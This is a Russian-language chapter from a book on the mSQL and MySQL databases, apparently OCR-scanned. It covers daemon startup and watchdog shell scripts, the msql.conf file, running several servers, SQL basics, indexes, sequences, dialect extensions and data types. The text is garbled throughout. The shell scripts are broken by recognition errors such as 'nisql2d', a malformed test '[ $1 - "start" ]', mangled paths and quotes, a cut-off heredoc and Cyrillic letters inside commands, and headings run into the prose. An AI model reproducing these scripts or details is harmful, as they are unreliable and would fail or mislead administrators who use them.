    Стандартный инструментарий, поставляемый с mSQL, улучшен с целью поддержки всех новых характеристик. Хьюз добавил новые функции, такие как, например, копирование и переименование таблиц в msqladmin. Приложение W3-msql для взаимодействия с WWW существенно переделано и дополнено. Язык сценариев переработан в Lite - язык с прямой поддержкой взаимодействия WWW и баз данных.

    Если вы новичок в mSQL, то почти наверняка начнете работать с mSQL 2. Если вы имеете дело с уже работающей системой, то следует скрупулезно учитывать различия между обеими версиями, особенно если вы собираетесь перейти на mSQL 2.



    Запуск mSQL

    mSQL - это действительно единственное ядро базы данных типа "завел и поехал". Иными словами, можно установить mSQL, запустить сервер и сразу заняться делом. Серверный процесс mSQL называется msql2d (для серверов mSQL 1 он называется msqld). Этот исполняемый файл и все утилиты, поступающие с дистрибутивом mSQL, находятся в каталоге bin. Запустить экземпляр mSQL можно, просто введя msql2d без всяких параметров командной строки.

    Такая реализация по умолчанию не всегда вас удовлетворит. В большинстве случаев потребуется отредактировать файл msql.conf в каталоге дистрибутива mSQL. Этот файл конфигурации mSQL 2 (в mSQL 1 он отсутствует) позволяет определить несколько часто используемых параметров. Его изменение обычно необходимо тогда, когда вы используете какой-нибудь прекомпилированный дистрибутив.

    Демон mSQL - не ветвящийся процесс. Это означает, что запуск его из командной строки оставит процесс работать на терминале, пока вы явно не нажмете CTRL-C, чтобы прекратить его, или не переведете процесс в фоновый режим. Под Unix можно запустить сервер mSQL из командной строки в фоновом режиме, введя команду:

    msqld2 &

    Следующий сценарий запускает процесс сервера mSQL при запуске системы и корректно завершает его при остановке системы:


    #!/bin/sh

    if [ $1 - "start" ]; then
    if [ -x /usr/local/Hughes/bin/msql2d ]; then

    su msql -c '/usr/local/Hughes/bin/nisql2d &'
    fi

    else

    if [ $1 = "stop" ]; then
    if [ -x /usr/local/Hughes/bin/msqladmin ]; then

    su msql -c '/usr/local/Hughes/bin/msqladmin shutdown'
    fi
    fi
    fi

    В этом сценарии предполагается, что вы запускаете mSQL в Unix с идентификатором пользователя msql. Разумеется, его нужно заменить конкретным ID пользователя, а также заменить /usr/'local/Hughes именем каталога, в который вы установили mSQL.

    Поскольку версия для Win32 не работает пока как служба NT, можно запускать mSQL из папки Автозагрузка (StartUp), просто поместив ярлык для файла msql2d.exe в папку Автозагрузка (использование команды msqladmin мы опишем ниже в данной главе).


    Хотя mSQL является очень устойчивой программой, иногда случаются какие-то неполадки, и сервер "умирает". В особенности ранние версии mSQL имели проблемы с устойчивостью, приводившие к неожиданному краху сервера. На этот случай желательно запустить какое-либо средство для проверки состояния сервера баз данных.

    Приведенный ниже сценарий Unix старательно проверяет, работает ли еще демон msql2d. Если сервер не активен, он перезапускается, и администратору машины посылается сообщение.

    #!/bin/sh

    # Извлечь ID процесса демона базы данных

    # Это годится для mSQL 2; для mSQL 1

    # Строка должна быть другой:

    # PID='cat /usr/local/Minerva/msqld.pid' PID='cat /usr/local/Hughes/msq!2d.pid'

    # Далее проверяется активность процесса сервера.

    # Эта строка пригодна для систем BSD (Linux)

    ALIVE='ps aux grep $PID | grep -v grep | awk '{print $2}"

    # Для систем SysV (Solaris) раскомментируйте следующую строку

    #ALIVE='ps -et grep $PID | grep -v grep | awk '{print $2}"

    if [ $ALIVE ]

    then

    REALLY_ALIVE='msqladmin version' DATE='date'

    #Если 'ERROR', или если

    # выдачи вообще не было, msqladmin

    # не могла подключиться к серверу баз данных

    if ! echo $REALLY_ALIVE | grep "^ERROR"

    then

    exit

    fi

    if [ ! $REALLY_ALIVE ]

    then exit;

    fi

    else

    # Для mSQL 1 должно быть /usr/local/Minerva/hin/msqld &

    # for mSQL installations /usr/local/Hughes/bin/msql2d &

    mail -s "mSQL daemon restarted" root@yourmachine.com <
    The mSQL daemon died unexpectedly and was restarted on $DATE.

    Sincerely,

    The mSQL Watchdog

    EOM

    fi

    После запуска mSQL может обмениваться данными с окружающим миром двумя способами. Связь с Интернетом происходит через порт TCP/IP. По умолчанию mSQL слушает порт 1112. mSQL2 слушает порт 1114. Вы можете при желании изменить номер порта либо во время компиляции (mSQL 1), либо через файл конфигурации (mSQL 2).

    Локальная связь происходит через сокеты Unix. Сокеты Unix выглядят обычными файлами файловой системы Unix. От обычных файлов их можно отличить по символу, следующему за именем при использовании флага `F` в команде Is. mSQL использует файл /deu/msql, в то время как mSQL 2 использует файл /usr/local/Hughes/msql2.sock.


    Запуск нескольких демонов

    Иногда может оказаться полезным запустить несколько серверов базы данных одновременно. Наиболее часто причиной этого служит желание увеличить производительность. Поскольку mSQL имеет однопо-точную архитектуру, она обрабатывает запросы последовательно. Если значительная часть обращений происходит лишь к одной из баз данных и даже таблиц, приложения, обращающиеся к другим базам данных или таблицам, могут простаивать длительное время в ожидании обработки запроса.

    В многопоточном сервере, таком как MySQL, вы не столкнетесь с этой проблемой, но и в mSQL можно обойти ее, запустив несколько процессов mSQL. Недостатком такого решения является то, что к одной базе данных может обращаться только один демон. Без этого ограничения один демон мог бы переписывать изменения, вносимые другим. Осуществить такое ограничение можно, указав каждому работающему экземпляру msql2d отдельный исходный каталог для хранения баз данных. В mSQL 2 это можно сделать через параметры командной строки и файл конфигурации. Для mSQL 1 придется компилировать и устанавливать mSQL несколько раз в разные каталоги.

    Чтобы установить для mSQL 2 второй каталог, используйте следующие команды:

    mkdir -p /usr/local/second_database/msqldb/. tmp

    ср /usr/local/Hughes/msql.conf /usr/local/Hughes/msql.acl\

    /usr/local/second_database

    chown -R msql /usr/local/second_database

    Запуск mSQLНекоторые Unix-системы используют mkdirs вместо mkdir -p, в других же такая возможность может вообще отсутствовать, и тогда каждый каталог придется создавать отдельно. Вам придется также заменить идентификатор пользователя, под именем которого вы запускаете msql2d, если он отличен от "msql". В Windows и OS/2 процедура та же, за исключением названий команд и символа-разделителя пути.

    Когда каталоги созданы и файлы скопированы, нужно отредактировать файл msql.conf из нового каталога, чтобы переменная Inst_Dir указывала на /usr/local/'second_database, а значение TCP_Port не конфликтовало с другими TCP-службами сервера. Значение Unix_Port можно не изменять, поскольку новый сокет будет образован в новом каталоге.


    Для запуска нового демона введите ту же команду msql2d со следующими параметрами:

    msql2d -f /usr/local/second_database/msql. conf

    При работе с mSQL 1 положение немного сложнее. Придется откомпилировать и установить mSQL столько раз, сколько экземпляров mSQL вы хотите запускать. Все ваши утилиты будут работать с любым экземпляром сервера.

    Файл конфигурации mSQL

    Мы уже сталкивались с файлом конфигурации mSQL, но еще не вникали в мелкие подробности. В mSQL 1 все, кроме безопасности, определялось во время компиляции. В mSQL 2 есть файл конфигурации, позволяющий управлять поведением сервера mSQL во время работы. Ниже дан пример файла конфигурации.

    [general]

    Inst_Dir = c:\usr\local\Hughes

    mSQL_User = msql

    Admin_User = root

    Pid_File = %I\msql2d.pid

    TCP_Port = 1114

    Unix_Port = %I\msql2.sock

    [system]

    Msync_Timer = 30

    Host_Lookup = True

    Read_0nly = False

    Remote_Access = True

    Local_Access = True

    [w3-msql]

    Auth_Host = NULL

    Footer = True

    Force_Private = False

    Сценарий конфигурации разделен на секции, как ini-файл в Windows, состоящие из пар ключ-значение. Сейчас для нас представляет интерес только секция general.

    Inst_Dir

    Каталог, в который установлена mSQL. Более точно, это каталог, в котором mSQL ищет ваш ACL-файл, РID-файл для mSQL, и каталог msqldb, в котором размещаются каталоги баз данных. В результате можно поддерживать несколько серверов mSQL с единым набором исполняемых файлов.

    mSQL_User

    ID пользователя, от имени которого запускается процесс mSQL.

    Admin_User

    ID пользователя, которому разрешено выполнять команды администрирования, такие как msqladmin, обсуждаемая в следующем параграфе.

    TCP_Port

    Порт TCP/IP, который будет слушать сервер. В Unix номер порта, меньший 1024, можно выбрать, только если сервер mSQL запущен суперпользователем.

    Unix_Port

    Имя файла сокета Unix. В этом файле мы использовали переменную % 1% вместо Inst_Dir.



    и mSQL используется структурированный язык

    Диалект SQL, используемый в MySQL и mSQL

    Для чтения и записи в базах данных MySQL и mSQL используется структурированный язык запросов (SQL). Используя SQL, можно осуществлять поиск, вводить новые данные или удалять данные. SQL является просто основополагающим инструментом, необходимым для взаимодействия с MySQL и mSQL. Даже если для доступа к базе данных вы пользуетесь каким-то приложением или графическим интерфейсом пользователя, где-то в глубине это приложение генерирует SQL-команды.

    SQL является разновидностью "естественного языка". Иными словами, команда SQL должна читаться, по крайней мере на первый взгляд, как. предложение английского языка. У такого подхода есть как преимущества, так и недостатки, но факт заключается в том, что этот язык очень непохож на традиционные языки программирования, такие как С, Java или Perl.

    В этой главе мы рассмотрим язык SQL, как он реализован в MySQL и mSQL. По большей части, диалект MySQL является надмножеством диалекта mSQL. Мы старательно отметим те случаи, где два диалекта расходятся. Однако в основном эта глава относится и к одной, и к другой СУБД.



    Индексы

    Хотя MySQL и mSQL обеспечивают более высокую производительность, чем любые большие серверы баз данных, некоторые задачи все же требуют осторожности при проектировании базы данных. Например, если таблица содержит миллионы строк, поиск нужной строки в ней наверняка потребует длительного времени. Как указывалось в главе 2, в большинстве баз данных поиск облегчается благодаря средству, называемому индексом.

    Индексы способствуют хранению данных в базе таким образом, который позволяет осуществлять быстрый поиск. К несчастью, ради скорости поиска приходится жертвовать дисковым пространством и скоростью изменения данных. Наиболее эффективно создавать индексы для тех колонок, в которых вы чаще всего собираетесь осуществлять поиск. MySQL и mSQL поддерживают одинаковый синтаксис для создания индексов:

    CREATE INDEX index_name ON tablename (column1,

    column2,

    columnN)

    MySQL позволяет также создавать индекс одновременно с созданием таблицы, используя следующий синтаксис:

    CREATE TABLE materials (id INT NOT NULL,

    name CHAR(50) NOT NULL,

    resistance INT,
    melting_pt REAL,
    INDEX indexl (id, name),
    UNIQUE INDEX index2 (name))

    В этом примере для таблицы создается два индекса. Первый индекс indexl состоит из полей id и name. Второй индекс включает в себя только поле name и указывает, что значения поля name должны быть уникальными. Если вы попытаетесь вставить в поле name значение, которое уже есть в этом поле в какой-либо строке, операция не будет осуществлена. Все поля, указанные в уникальном индексе, должны быть объявлены как NOT NULL .

    Хотя мы создали отдельный индекс для поля name, отдельно для поля id мы не создавали индекса. Если такой индекс нам понадобится, создавать его не нужно - он уже есть. Когда индекс содержит более одной колонки (например, name, rank, nserial_number), MySQL читает колонки в порядке слева направо. Благодаря используемой MySQL структуре индекса всякое подмножество колонок с левого края автоматически становится индексом внутри "главного" индекса. Например, когда вы создаете индекс name, rank, serial_number, создаются также "свободные" индексы name и name вместе с rank. Однако индексы rank или name и seri-al_number не создаются, если не потребовать этого явно.


    MySQL поддерживает также семантику ANSI SQL для особого индекса, называемого первичным ключом. В MySQL первичный ключ - это уникальный индекс с именем PRIMARY. Назначив при создании таблицы колонку первичным ключом, вы делаете ее уникальным индексом, который будет поддерживать объединения таблиц. В следующем примере создается таблица cities с первичным ключом id.

    CREATE TABLE cities (id INT NOT NULL PRIMARY KEY,

    name VARCHAR(100),

    pop MEDIUMINT,

    founded DATE)

    Прежде чем создавать таблицу, нужно решить, какие поля будут ключами (и будут ли вообще ключи). Как уже говорилось, любые поля, которые будут участвовать в объединении таблиц, являются хорошими кандидатами на роль первичного ключа. Подробно обсуждение того, как проектировать таблицы с хорошими первичными ключами, можно найти в главе 2.



    Основы SQL

    SQL "структурирован" в том отношении, что он следует определенному набору правил. Компьютерной программе легко разобрать на части сформулированный запрос SQL. Действительно, в книге издательства O'Reilly "lex & у асе", написанной Джоном Ливайном, Тони Мэйсоном и Дугом Брауном (John Levine, Tony Mason, Doug Brown), реализована грамматика SQL для демонстрации процесса создания программы, интерпретирующей язык! Запрос (query) - это полностью заданная команда, посылаемая серверу баз данных, который выполняет запрошенное действие. Ниже приведен пример SQL-запроса:

    SELECT name FROM people WHERE name LIKE 'Stac%'

    Как можно видеть, это предложение выглядит почти как фраза на ломаном английском языке: "Выбрать имена из список люди, где имена похожи на Stac". SQL в очень незначительной мере использует форматирование и специальные символы, обычно ассоциируемые с компьютерными языками. Сравните, к примеру, "$++;($*++/$|);$&$л„;$!" в Perl и "SELECT value FROM table" в SQL.

    История SQL

    В IBM изобрели SQL в начале 1970-х, вскоре после введения д-ром Е. Ф. Коддом (Е. F. Codd) понятия реляционной базы данных. С самого начала SQL был легким в изучении, но мощным языком. Он напоминает естественный язык, такой как английский, и поэтому не утомляет тех, кто не является техническим специалистом. В 1970-х это достоинство было еще более важным, чем сегодня.

    В начале 1970-х не было случайных хакеров. Дети росли, не изучая BASIC и не создавая собственных веб-страничек. Люди, программировавшие компьютеры, знали все о том, как эти компьютеры работают. SQL был предназначен для армии несведущих в технике бухгалтеров, а также делового и управленческого персонала, которым принес бы пользу доступ к мощи реляционной базы данных.

    SQL действительно был настолько популярен среди пользователей, для которых предназначался, что в 1980-х компания Oracle выпустила первую в мире общедоступную коммерческую SQL-систему. Oracle SQL был хитом сезона и породил вокруг SQL целую индустрию. Sybase, Informix, Microsoft и ряд других компаний вышли на рынок с собственными разработками реляционных систем управления базами данных (РСУБД), основанных на SQL.


    В то время когда Oracle и ее конкуренты вышли на сцену, SQL был новинкой, и для него не существовало стандартов. Лишь в 1989 году комиссия по стандартам ANSI выпустила первый общедоступный стандарт SQL. Сегодня его называют SQL89. К несчастью, этот новый стандарт не слишком углублялся в определение технической структуры языка. Поэтому, хотя различные коммерческие реализации языка SQL сближались, различия в синтаксисе делали задачу перехода с одной реализации языка на другую нетривиальной. Только в 1992 году стандарт ANSI SQL вступил в свои права.

    Произносится как "сиквел" или "эс-кю-эль". Некоторые люди относятся с благоговением к произношению SQL. He обращайте на них внимания. Однако нужно заметить, что в MySQL и mSQL правильное произношение -"эс-кю-эль".

    Стандарт 1992 года обозначают как SQL92 или SQL2. Стандарт SQL2 включил в себя максимально возможное количество расширений, добавленных в коммерческих реализациях языка. Большинство инструментов, работающих с различными базами данных, основывается на SQL2 как на способе взаимодействия с реляционными базами данных. Однако, из-за очень большой широты стандарта SQL2, реляционные базы, реализующие полный стандарт, очень сложные и ресурсоемкие.

    Основы SQLSQL2 - не последнее слово в стандартах SQL. В связи с ростом популярности объектно-ориентированных СУБД (ООСУБД) и объектно-реляционных СУБД (ОРСУБД) возрастает давление с целью принятия объектно-ориентированного доступа к базам данных в качестве стандарта SQL. Ответом на эту проблему должен послужить SQL3. Он не является пока официальным стандартом, но в настоящее время вполне определился и может стать официальным стандартом где-то в 1999 году.



    С появлением MySQL и mSQL проявился новый подход к разработке серверов баз данных. Вместо создания очередной гигантской РСУБД с риском не предложить ничего нового в сравнении с "большими парнями", были предложены небольшие и быстрые реализации наиболее часто используемых функций SQL.


    Архитектура SQL

    Как мы уже отмечали, SQL больше напоминает естественный человеческий, а не компьютерный язык. SQL добивается этого сходства благодаря простой четкой императивной структуре. Во многом походя на предложение английского языка, отдельные команды SQL, называемые запросами, могут быть разбиты на части речи. Рассмотрим следующие примеры.

    CREATE TABLE people (name CHAR(10))

    глагол дополнение расширенное определение

    INSERT INTO people VALUES('me')

    глагол косвенное прямое

    дополнение дополнение

    SELECT name FROM people WHERE name LIKE '%e'

    глагол прямое косвенное придаточное дополнение дополнение предложение

    Большинство реализаций SQL, включая MySQL и mSQL, нечувствительны к регистру: неважно, в каком регистре вы вводите ключевые слова SQL, если орфография верна. Например, CREATE из верхнего примера можно записать и так:

    cREatE ТАblЕ people (name cHaR(10))

    Нечувствительность к регистру относится только к ключевым словам SQL. Ради удобочитаемости все ключевые слова SQL в этой книге записаны заглавными буквами. Мы рекомендуем такой стиль как хороший, "опробованный на практике" способ. В MySQL и mSQL имена баз данных, таблиц и колонок к регистру чувствительны. Но это характерно не для всех СУБД. Поэтому, если вы пишете приложение, которое должно работать с любыми СУБД, не следует использовать имена, различающиеся одним только регистром.

    Первый элемент SQL-запроса - всегда глагол. Глагол выражает действие, которое должно выполнить ядро базы данных. Хотя остальная часть команды зависит от глагола, она всегда следует общему формату: указывается имя объекта, над которым осуществляется действие, а затем описываются используемые при действии данные. Например, в запросе CREATE TABLE people (char(10)) используется глагол CREATE, за которым следует дополнение (объект) TABLE .Оставшаяся часть запроса описывает таблицу, которую нужно создать.

    SQL-запрос исходит от клиента - приложения, предоставляющего фасад, с помощью которого пользователь взаимодействует с базой данных. Клиент составляет запрос, основываясь на действиях пользователя, и посылает его серверу SQL. После этого сервер должен обработать запрос и выполнить указанные действия. Сделав свою работу, сервер возвращает клиенту одно или несколько значений.

    Поскольку основная задача SQL - сообщить серверу баз данных о том, какие действия необходимо выполнить, он не обладает гибкостью языка общего назначения. Большинство функций SQL связано с вводом и выводом из базы: добавление, изменение, удаление и чтение данных. SQL предоставляет и другие возможности, но всегда с оглядкой на то, как они могут использоваться для манипулирования данными в базе.



    Последовательности и автоинкрементирование

    Лучше всего, когда первичный ключ не имеет в таблице никакого иного значения, кроме значения первичного ключа. Для достижения этого лучшим способом является создание числового первичного ключа, значение которого увеличивается при добавлении в таблицу новой строки. Если вернуться к примеру с таблицей cities, то первый введенный вами город должен иметь id, равный 1, второй - 2, третий - 3, и т. д. Чтобы успешно управлять такой последовательностью первичных ключей, нужно иметь какое-то средство, гарантирующее, что в данный конкретный момент только один клиент может прочесть число и увеличить его на единицу. В базе данных с транзакциями можно создать таблицу, скажем, с именем sequence , содержащую число, представляющее очередной id. Когда необходимо добавить новую строку в таблицу, вы читаете число из этой таблицы и вставляете число на единицу большее. Чтобы эта схема работала, нужно быть уверенным, что никто другой не сможет произвести чтение из таблицы, пока вы не ввели новое число. В противном случае два клиента могут прочесть одно и то же значение и попытаться использовать его в качестве значения первичного ключа в одной и той же таблице.

    Ни MySQL, ни mSQL не поддерживают транзакции, поэтому описанный механизм нельзя использовать для генерации уникальных чисел. Использовать для этих целей команду MySQL LOCK TABLE обременительно. Тем не менее обе СУБД предоставляют свои варианты понятия последовательности, позволяющие генерировать уникальные идентификаторы, не беспокоясь о транзакциях.

    Последовательности в MySQL

    При создании таблицы в MySQL можно одну из колонок специфицировать как AUTO_INCREMENT . В этом случае, при добавлении новой строки, имеющей значение NULL или 0 в данной колонке, автоматически будет происходить замена на значение на единицу больше, чем наибольшее текущее значение в колонке. Колонка с модификатором AUTO_INCREMENT должна быть индексирована. Ниже приведен пример использования поля типа AUTOJNCREMENT :

    CREATE TABLE cities (id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,


    name VARCHAR(100),

    pop MEDIUMINT,

    founded DATE)

    Когда вы первый раз добавляете строку, поле id получает значение 1, если в команде INSERT для него используется значение NULL или 0. Например, следующая команда использует возможность AUTO_INCREMENT:

    INSERT INTO cities (id, name, pop)

    VALUES (NULL, 'Houston', 3000000)

    Если вы выполните эту команду, когда в таблице нет строк, поле id получит значение 1, а не NULL. В случае, когда в таблице уже есть строки, полю будет присвоено значение на 1 большее, чем наибольшее значение id в данный момент.

    Другим способом реализации последовательностей является использование значения, возвращаемого функцией LAST_INSERT_ID :

    UPDATE table SET id=LAST_INSERT_ID (id+1);

    Последовательности в mSQL

    Каждая таблица в mSQL может иметь одну связанную с ней последовательность. Синтаксис создания последовательности следующий:

    CREATE SEQUENCE ON table_name [VALUE start STEP incr]

    Начальное значение задается числом start, а шаг увеличения при каждом последующем обращении - числом incr. По умолчанию, последовательность начинается с 1 и каждый раз возрастает на 1. Например:

    CREATE SEQUENCE ON mytable VALUE 100 STEP 5

    Создается последовательность в таблице mytable, начальным значением которой будет 100, а при каждом обращении оно будет увеличиваться на 5. Вторым значением, следовательно, будет 105.

    Для доступа к последовательности нужно выбрать из таблицы специальную колонку с именем _seq:

    SELECT _seq FROM table_name

    В результате вы получите очередное значение последовательности и инкрементируете его.



    Расширения языка

    Как MySQL, так и mSQL обладают некоторыми витиеватыми расширениями, аналогов которым вы не найдете в других базах данных. Большинство расширений, имеющихся в MySQL, в целом согласуется со стандартом ANSI SQL. Расширения mSQL связаны просто с особыми переменными, к которым можно обращаться при работе с базой данных mSQL.

    Возможности MySQL

    MySQL превосходит mSQL в поддержке SQL, предоставляя возможность работы с функциями и в некоторой мере — с внешними объединениями. Функции в SQL аналогичны функциям в других языках программирования, таких как С и Perl. Функция может принимать аргументы и возвращает некоторое значение. Например, функция SQRT(16) возвращает 4. В MySQL в команде SELECT функции могут использоваться в двух местах:

    Как извлекаемая величина

    В этом случае функция включается в список извлекаемых колонок. Возвращаемое функцией значение, вычисляемое для каждой выбранной строки, включается в возвращаемое результирующее множество, как если бы это была колонка базы данных. Вот пример:

    # Выбрать название каждого события (event), а также его дату
    # в удобном для чтения формате из всех событий, более свежих,

    # чем указанная дата. Функция FROM_UnixTIME()

    # преобразует стандартное значение времени Unix

    # в читаемый вид.

    SELECT name, FROM_UnixTIME(date)

    FROM events

    WHERE time > 90534323

    # Выбрать заглавие статьи, полный текст ее,

    # и длину (в байтах) полного текста для всех
    # статей, автор которых Stacie Sheldon.

    # Функция LENGTHO возвращает длину заданной

    # строки в символах.

    SELECT title, text, LENGTH(text)

    FROM papers

    WHERE author = 'Stacie Sheldon'

    Как часть предложения WHERE

    В этом виде функция заменяет место константы при вычислении в предложении WHERE. Значение функции используется при сравнении в каждой строке таблицы. Приведем пример.

    # Случайным образом выбрать название объекта из общего числа 35.

    # Функция RAND() генерирует случайное число

    # между 0 и 1 (умножается на 34, чтобы сделать его между 0

    # и 34, и увеличивается на 1 , чтобы сделать его между 1 и


    # 35). Функция ROUND() возвращает данное число округленным

    # до ближайшего целого, что приводит к целому числу

    # между 1 и 35, которое должно соответствовать одному

    # из чисел ID в таблице.

    SELECT name

    FROM entries

    WHERE id = ROUND( (RAND()*34) + 1 )

    # Можно использовать функции одновременно в списке значений

    # и предложении WHERE. В этом примере выбираются имя и дата

    # всех событий, происшедших более суток назад. Функция UNIX_TIMESTAMP()

    # без аргументов возвращает текущее время

    # в формате Unix.

    SELECT name, FROM_UnixTIME(date)

    FROM events

    WHERE time > (Unix_TIMESTAMP() - (60 * 60 * 24) )

    # Функция может использовать значение поля таблицы.

    # В этом примере возвращаются имена всех,

    # кто использовал свое имя в качестве пароля. Функция ENCRYPTO

    # возвращает зашифрованную в стиле пароля Unix

    # заданную строку, используя 2-символьный ключ.

    # Функция LEFT() возвращает п самых левых символов

    # переданной строки.

    SELECT name

    FROM people

    WHERE password = ENCRYPT(name, LEFT(name, 2))

    Наконец, MySQL поддерживает более сильный тип объединения, чем простое внутреннее объединение, которое мы до сих пор использовали. Именно, MySQL поддерживает так называемое левое внешнее объединение (известное также просто как внешнее объединение). Объединение этого типа похоже на внутреннее объединение, за исключением того, что в него включаются данные из левой колонки, которым нет соответствия в правой колонке. Если вы обратитесь к нашим таблицам с авторами и книгами, то вспомните, что в наше объединение не вошли авторы, у которых в базе данных не было книг. Часто вы можете пожелать вывести записи из одной таблицы, для которых нет соответствия в другой таблице, с которой производится объединение. Это можно сделать с помощью внешнего объединения:

    SELECT book.title, author.name

    FROM author

    LEFT JOIN book ON book.author = author.id

    Обратите внимание, что во внешнем объединении вместо WHERE используется ключевое слово ON. Результат нашего запроса будет выглядеть так:


    Расширения языка

    MySQL делает следующий шаг, позволяя использовать естественное внешнее объединение (natural outer join). Естественное внешнее объединение соединяет строки двух таблиц, в которых две колонки имеют одинаковые имена и тип, и значения в этих колонках совпадают:

    SELECT my_prod.name

    FROM my_prod

    NATURAL LEFT JOIN their_prod

    Особенности mSQL

    В mSQL есть пять "системных переменных", которые можно включить в любой запрос. Об одной из этих переменных, _seq, мы уже говорили. Остальные переменные следующие:

    _rowid

    Уникальный идентификатор возвращенной строки данных. Для повышения производительности можно использовать эту переменную в командах UPDATE или DELETE. Однако такой подход нельзя рекомендовать определенно, поскольку разные клиенты могут помешать друг другу. Например, два клиента могут выбрать одну и ту же строку. Первый клиент удаляет ее, а затем третий клиент добавляет новую строку. Новая строка может получить то же значение _rowid, что и удаленная строка. Если теперь второй клиент попытается отредактировать или удалить строку, используя данное значение _rowid, то результат будет совсем не тот, на который он рассчитывал.

    _timestamp

    Время последней модификации строки. В текущей версии mSQL имеет стандартный формат времени Unix. В будущих версиях формат может измениться, поэтому использовать эту переменную следует только для сравнения временных меток разных строк.

    _sysdate

    Возвращает значение текущей даты на сервере mSQL. Может использоваться для синхронизации времени в базе данных, даже если у клиентов на машинах стоит разное время. Имеет стандартный формат Unix.

    _user

    Содержит имя клиента текущего соединения. Как и _-sysdate, не зависит от таблицы, из которой выбирается.

    Создание и удаление таблиц

    Успешно установив MySQL или mSQL, вы можете приступить к созданию своей первой таблицы. Таблица, структурированное вместилище данных, является основным понятием реляционных баз. Прежде чем начать вводить данные в таблицу, вы должны определить ее структуру. Рассмотрим следующую раскладку:
    Создание и удаление таблиц

    каждого поля, а также возможные дополнительные сведения о полях. Тип данных поля определяет, какого рода данные могут в нем содержаться. Типы данных SQL сходны с типами данных в других языках программирования. Полный стандарт SQL допускает большое разнообразие типов данных. MySQL реализует большую их часть, в то время как mSQL -лишь несколько наиболее полезных.

    Общий синтаксис для создания таблиц следующий:

    CREATE TABLE table_name (colutnn_namel type [modifiers] [, column_name2 type [modifiers]] )

    Создание и удаление таблицКакие идентификаторы - имена таблиц и колонок - являются допустимыми, зависит от конкретной СУБД. mSQL обеспечивает поддержку имен в объеме, близком к минимальному. В качестве идентификатора он допускает любую последовательность букв набора ISO 8859-1 (Latin 1), цифр и знака "-", длиной до 20 символов. Идентификатор должен начинаться с буквы. Проблемы вызывает ограничение на использование только ISO 8859-1. Для хорошей переносимости SQL нужно избегать имен, начинающихся не с допустимой буквы. MySQL предоставляет больше возможностей. Длина идентификатора может быть до 64 символов, допустим символ "$", и первым символом может быть цифра. Более важно, однако, что MySQL допускает использование любых символов из установленного в системе локального набора.

    Колонка - это отдельная единица данных в таблице. В таблице может содержаться произвольное число колонок, но использование больших таблиц бывает неэффективным. Вот здесь правильное проектирование базы данных, обсуждавшееся в главе 2, начинает играть важную роль. Создав правильно нормализованные таблицы, можно объединять их ("join") для осуществления поиска в данных, размещенных в нескольких таблицах. Механику объединения таблиц мы обсудим позднее в данной главе.


    Как и бывает в жизни, разрушить легче, чем создать. Следующая команда удаляет таблицу:

    DROP TABLE Lable_name

    Эта команда не оставит и следа от таблицы в базе данных. MySQL уничтожит все данные удаленной таблицы. Если у вас не осталось резервной копии, нет абсолютно никакого способа отменить действие данной операции. Мораль этой истории: всегда храните резервные копии и будьте очень внимательны при удалении таблиц. В один "прекрасный" день это вам пригодится.

    В MySQL можно одной командой удалить несколько таблиц, разделяя их имена запятыми. Например, DROP TABLE people, animals, plants удалит эти три таблицы. Можно также использовать модификатор IF EXISTS для подавления ошибки в случае отсутствия удаляемой таблицы. Этот модификатор полезен в больших сценариях, предназначенных для создания базы данных и всех ее таблиц. Прежде чем создавать таблицу, выполните команду DROP TABLE table_name IF EXISTS.



    Типы данных в SQL

    Каждая колонка таблицы имеет тип. Как уже указывалось, типы данных SQL сходны с типами данных традиционных языков программирования. В то время как во многих языках определен самый минимум типов, необходимых для работы, в SQL для удобства пользователей определены дополнительные типы, такие как MONEY и DATE. Данные типа MONEY можно было бы хранить и как один из основных числовых типов данных, однако использование типа, специально учитывающего особенности денежных расчетов, повышает легкость использования SQL, которая является одной из главных его целей.

    В главе 15 "Справочник по SQL" дается полное справочное руководство по типам SQL, поддерживаемым MySQL и mSQL. В таблице 6-1 дан сокращенный список, состоящий из наиболее употребительных типов, поддерживаемых в обоих языках.

    Таблица 6-1. Наиболее употребительные типы, данных, поддерживаемые как MySQL, так и mSQL




    Тип данных


    Описание

    INT Целое число. В MySQL INT может быть со знаком или без знака, в то время как mSQL имеет отдельный тип UINT для беззнаковых целых.
    REAL Число с плавающей запятой. Этот тип допускает больший диапазон значений, чем INT, но не обладает его точностью.
    TEXT(length) Символьная величина переменной длины. В mSQL значение length используется как предположение о том, какой длины будут хранимые строки. Можно сохранять и строки большей длины, но ценой потери производительности. В MySQL TEXT - лишь один из нескольких типов данных переменного размера.
    DATE Стандартное значение даты. Хотя формат хранения даты различен в MySQL и mSQL, оба ядра могут использовать тип DATE для хранения произвольных дат, относящихся к прошлому, настоящему и будущему. Оба ядра правильно решают "проблему 2000".
    TIME

    Стандартное значение времени. Этот тип используется для хранения времени дня безотносительно какой-либо даты. При использовании вместе с датой позволяет хранить конкретную дату и время. В MySQL есть дополнительный тип DATETIME для совместного хранения даты и времени в одном поле.

    CHAR(length)


    Символьная величина фиксированной длины. Поля типа CHAR не могут содержать строки длины большей, чем указанное значение. Поля меньшей длины дополняются пробелами. Вероятно, это наиболее употребительный тип в любой реализации SQL.
    <


    Типы данных в SQL" MySQL поддерживает атрибут UNSIGNED для всех числовых типов. Этот модификатор позволяет вводить в колонку только положительные (беззнаковые) числа. Беззнаковые поля имеют верхний предел значений вдвое больший, чем у соответствующих знаковых типов. Беззнаковый TINYINT - однобайтовый числовой тип MySQL - имеет диапазон от 0 до 255, а не от -127 до 127, как у своего знакового аналога.

    Та и другая СУБД имеют больше типов, чем перечислено выше. Особенно большое число типов поддерживает MySQL. Однако на практике в основном используются перечисленные типы. В mSQL выбор типа данных сводится к выбору типа, наиболее близкого к данным, которые вы собираетесь хранить. Размер данных, которые вы собираетесь хранить, играет гораздо большую роль при разработке таблиц MySQL.

    Числовые типы данных

    Прежде чем создавать таблицу, вы должны хорошо представить себе, какого рода данные вы будете в ней хранить. Помимо очевидного решения о том, будут это числовые или символьные данные, следует выяснить примерный размер хранимых данных. Если это числовое поле, то каким окажется максимальное значение? Может ли оно измениться в будущем? Если минимальное значение всегда положительно, следует рассмотреть использование беззнакового типа. Всегда следует выбирать самый маленький числовой тип, способный хранить самое большое мыслимое значение. Если бы, к примеру, требовалось хранить в поле численность населения штата, следовало бы выбрать беззнаковый INT. Ни в каком штате не может быть отрицательной численности населения, и для того, чтобы беззнаковое поле типа INT не могло вместить число, представляющее его население, численность населения этого штата должна примерно равняться численности населения всей Земли.

    Символьные типы

